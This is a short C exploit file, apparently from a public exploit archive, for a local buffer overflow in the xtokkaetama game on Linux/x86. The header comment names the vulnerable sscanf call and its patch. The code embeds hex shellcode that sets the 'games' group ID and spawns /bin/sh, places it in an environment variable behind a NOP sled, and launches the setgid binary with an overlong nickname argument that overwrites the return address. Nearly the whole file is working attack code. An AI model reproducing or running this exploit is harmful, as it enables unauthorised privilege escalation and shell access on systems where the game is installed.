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tokkaetama
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xxtama.c
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2005-02-12
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47 lines
/* (linux/x86)xtokkaetama[v1.0b+]: (games) local buffer overflow exploit.
by: v9[v9@fakehalo.deadpig.org]. (fakehalo)
exploits an overflow missed in the patch/upgrade of:
http://www.securityfocus.com/bid/8312
fix:
xtama_score.c:132: +strncpy(name,nickname,sizeof(name)-1);
xtama_score.c:132: -sscanf( nickname , "%s",name ) ;
(tested on non-debian, should still work elsewhere)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/types.h>
#define PATH "/usr/games/xtokkaetama" /* game binary. */
static char exec[]= /* setgid(?)+shell. */
"\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd"
"\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
"\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
"\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
int main(){
unsigned int i;
char *buf;
struct group *gent;
printf("(*)xtokkaetama[v1.0b+]: local buffer overflow exploit.\n");
printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n");
if(!(buf=(char *)malloc(16384+1)))exit(1);
memset(buf,0x90,(16384-strlen(exec)));
if(!(gent=getgrnam("games")))exec[5]=exec[7]=20;
else{exec[5]=exec[7]=gent->gr_gid;}
strcat(buf,exec);
setenv("EXEC",buf,1);
memset(buf,0x0,(16384+1));
for(i=0;i<512;i+=4){*(long *)&buf[i]=0xbfffe001;}
printf("[*] in the game, hit: spacebar, \"Q\", spacebar, spacebar.\n");
sleep(3);
printf("[*] entering xtokkaetama...\n");
if(execlp(PATH,PATH,"-nickname",buf,0))
printf("[!] failed to execute %s.\n",PATH);
exit(0);
}